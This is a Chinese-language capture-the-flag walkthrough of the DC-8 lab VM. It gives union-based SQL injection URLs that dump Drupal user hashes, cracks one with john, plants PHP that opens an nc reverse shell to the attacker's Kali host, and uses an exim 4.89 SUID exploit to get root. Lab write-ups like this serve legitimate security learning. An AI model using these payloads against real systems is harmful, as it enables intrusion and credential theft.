前言:
本文將講述通過信息收集,再web站點的sql注入漏洞加john爆破登錄后台,然后找到遠程代碼執行漏洞getshell,最后用exim4命令提權漏洞進行權限提升拿到最終的flag。
0x00 環境
VMware 15虛擬機軟件;
DC-8靶機虛擬機(NAT模式);
kali虛擬機(NAT模式),ip為:192.168.106.129
0x01 信息收集
由於兩台機子都開啟的是nat模式,那么是在同一個網段里面。我們就可以是用namp先進行同網段的ip存活掃描。
kali的ip為192.168.106.129,因此nmap掃描命令為:
nmap -sP 192.168.106.1/24
129是kali的ip,明顯,靶機的ip為192.168.106.134;
之后針對此ip進行全端口掃描,看是否開啟web的端口。nmap命令為:
nmap -sS -Pn -p- 192.168.106.134
看到目標機開啟了22和80端口,22是ssh協議,可以進行ssh爆破,然后再xshell遠程連接,但是給了80,開了web服務,那先從web端開打,因為爆破成功率極小,除非是弱密碼。
訪問彈出了web頁面,用谷歌插件wappalyzer識別出了這是一個drupal版本為7的 CMS搭建的,后台腳本為php,容器為apache
robots.txt文件也可訪問
習慣性查看頁面源碼看看有沒有目錄遍歷,發現不存在。
漏掃工具和目錄掃描工具 掃描一遍.
發現掃到的目錄和robots.txt里面爆出來的目錄基本一樣,看了一些敏感文件,並沒有看到自己需要的信息,也沒有登錄密碼。
后台登錄的路徑爆出來了是/user/login.
我們在主頁點擊Details下面的三個選項,發現url帶上了nid參數,並且下面每點一個選項,會爆出一些內容,很像是sql注入的點,再url后面打個'試了試,發現爆sql錯誤,說明確實存在sql注入。
構造了一下,發現就是一個數值型注入。
同時,漏掃結果也報出了存在sql注入漏洞。
0x02 sql注入加john爆破拿后台登錄用戶密碼
既然知道了存在sql注入漏洞及注入點,我們先從此下手,測試之后,發現閉合payload為:
http://192.168.106.134/?nid=1--+
order by 猜字段為1,union select 1查看一下顯示位,發現返回正確但是沒有看到內容為1的位置,那么讓nid=-1,將存在的顯示位騰出來給我門用。
直接爆數據庫:
http://192.168.106.134/?nid=-1%20union%20select%20database()--+
爆表名:
http://192.168.106.134/?nid=-1 union select group_concat(table_name) from information_schema.tables where table_schema='d7db'--+
發現users表,那么爆出users表的所有字段:
http://192.168.106.134/?nid=-1 union select group_concat(column_name) from information_schema.columns where table_schema='d7db' and table_name='users'--+
看到name、pass字段,爆出里面的內容:
http://192.168.106.134/?nid=-1 union select group_concat(name) from users--+
http://192.168.106.134/?nid=-1 union select group_concat(pass) from users--+
爆出兩個用戶,密碼拿去在線hash解密都沒有成功。這里百度了一下john,這個用戶給了一個提示,kali里面有一個密碼破解工具正是john,應該是要讓我們用john破解其中的hash值。
將第一個admin的hash值放入到一個hash1.txt文件中,然后是用默認的john字典進行爆破。
發現admin的hash並沒有解出,再將john用戶的hash放入到hash2.txt文件中,用john再默認跑一下。
結果很快的破解出了john的密碼,密碼為turtle
將用戶密碼拿到后台/user/login去登錄,成功登錄,
0x03 遠程代碼執行
在后台找一找有沒有上傳點,發現了一處可進行編輯的地方
且只有contact us可進行編輯,
進去之后各種寫入嘗試,但是發現並沒有什么用,就算寫入有緩存,但是緩存文件名也不知道;
百度了一下drupal7 后台getshell漏洞,發現其中有說到:
選擇PHP_CODE模式(編輯php代碼)並預覽,預覽頁面載入后就會執行代碼
那么是不是找到PHP_CODE模式就差不多找到寫入點了。
接下來還是在contact us的編輯里面瘋狂找,我發現只有webfrom的settings部分有編輯器,這里應該可以利用。
發現這個編輯器可以寫入源碼,左上角的源碼處,點擊發現寫入的是html源碼。
既然可以寫html,那么肯定可以選擇寫php的代碼的模式,發現編輯器的下方有個選項,點擊真的有PHP_CODE
那么就可以開始寫php代碼了,先寫了個phpinfo()看是否有顯示,發現並沒有
保存了之后上面就說修改已上傳,但是上傳路徑並未給出,找了其他地方也沒有;
試了system執行shell命令,發現也沒有回顯,按照網上的說法,php代碼保存后會執行代碼,這應該是在靶機上已經執行了代碼,只是在后台不會顯示出來。
那么我們換一種思路,讓靶機在后台執行命令即可,我們並不需要看見命令執行的情況,這就可以使用nc反彈shell的方法,用system函數寫入nc反彈命令保存,然后它將在靶機上執行;在此之前在kali上開啟nc監聽,只要靶機上一觸發nc反彈命令,shell將反彈到kali上面來。
那么在編輯處先寫入如下的php代碼(<p>標簽中我們可以任意寫入文本,這里最好不要刪除掉,因為有的時候網站會按照模板先解析<p>標簽,如果沒有可能會出錯,所以不要將模板刪了。):
<p>flag</p>
<?php system("nc -e /bin/bash 192.168.106.129 7777"); ?>
ip是kali的ip,端口為為接收反彈的一個kali未被占用的端口。然后kali上面執行nc監聽:
nc -lvvp 7777
kali上先執行,然后我們再進行目標站點的后台編輯php代碼保存。
保存后發現沒有反彈呢,可能是contact us的編輯並沒有結束,只是保存了其中一個設置信息而已,發現view這里要提交郵箱等信息,最后才完成。
隨便填入信息,然后確定,再submit,就成功反彈shell到kali上面了。
用python命令轉化為常規shell:
python -c 'import pty;pty.spawn("/bin/bash")'
根目錄下並沒有什么flag文件,現在並不是root權限,進步了root目錄,看來需要進一步提權。
0x04 exim4命令提權
查看一下內核版本,去網上找一找會不會有對應的內核提權
Debian 4.9.51-1的,在網上找了並沒有對應的內核提權漏洞,臟牛提權試過了也不行;
linux里面有個suid權限執行二進制文件,這個權限涉及的命令權限都很大。
我們用find命令查詢一下這些命令:
find / -perm -u=s -type f 2>/dev/null
每一個都拿去百度了,發現exim命令在使用時具有root權限,並且還看到一些有關於他的提權漏洞,那么在kali里面直接使用它對應版本的exp提權。
搜索了一下,發現有很多exp腳本,那么我們先看看靶機的exim的版本信息:
發現是4.89版本的,找到kali里面對應的本地權限提升的腳本文件(也就是local privilege esc),沒有的話apt-get upgrade更新一下再search.
我這里就沒有,應該是kali很久沒更新了,很多exp沒有下載,upgrade了一下(需要等一些時間),發現出現了我想要的exp腳本。
這個46996.sh的腳本就是我們所需要的,將它上傳到自己的阿里雲服務器上,然后在靶機的shell上面下載此腳本,當然,如果沒有服務器的人可以在kali上面開啟http服務,因為是一個內網,也可以進行下載。
然后將此文件先復制到物理機上,然后xftp連接雲服務器,將46996.sh拖入到服務器根目錄下。
在靶機shell上用weget將46996.sh下載到本地
發現沒有寫入權限,只有換其他目錄試,百度發現tmp目錄下有寫入權限
成功下載,並將46996.sh文件賦予最高可執行權限777
chmod 777 46996.sh
執行腳本的時候始終報錯,網上的解決方法和這個不匹配,
那么只能復制exp的代碼了,在網上找到46996.sh腳本的代碼,鏈接:https://www.exploit-db.com/exploits/46996
點擊view raw查看代碼,然后復制所有代碼,在靶機的shell上vi新建一個exp.sh文件,然后將代碼復制進去,我這里是用的xshell連接到kali操作的,最后保存,並賦予其777權限。
現在可以執行腳本了
但是執行完之后發現還是普通用戶權限
單獨運行提權不行,我們打開文件看看腳本的使用規則,發現共有兩條使用規則:
看見第一個是default,先試試,要先exit退出到一級shelll來,然后執行第一條規則
發現還是普通用戶權限,接着exit退出使用第二條規則:
./exp.sh -m netcat
發現已經是root權限,成功提權。
然后進入root目錄,查看到flag文件,打開查看到flag內容:
總結:滲透之路總是曲曲折折,總是走不完,但是走得多了,自然會出現正確之路的方向!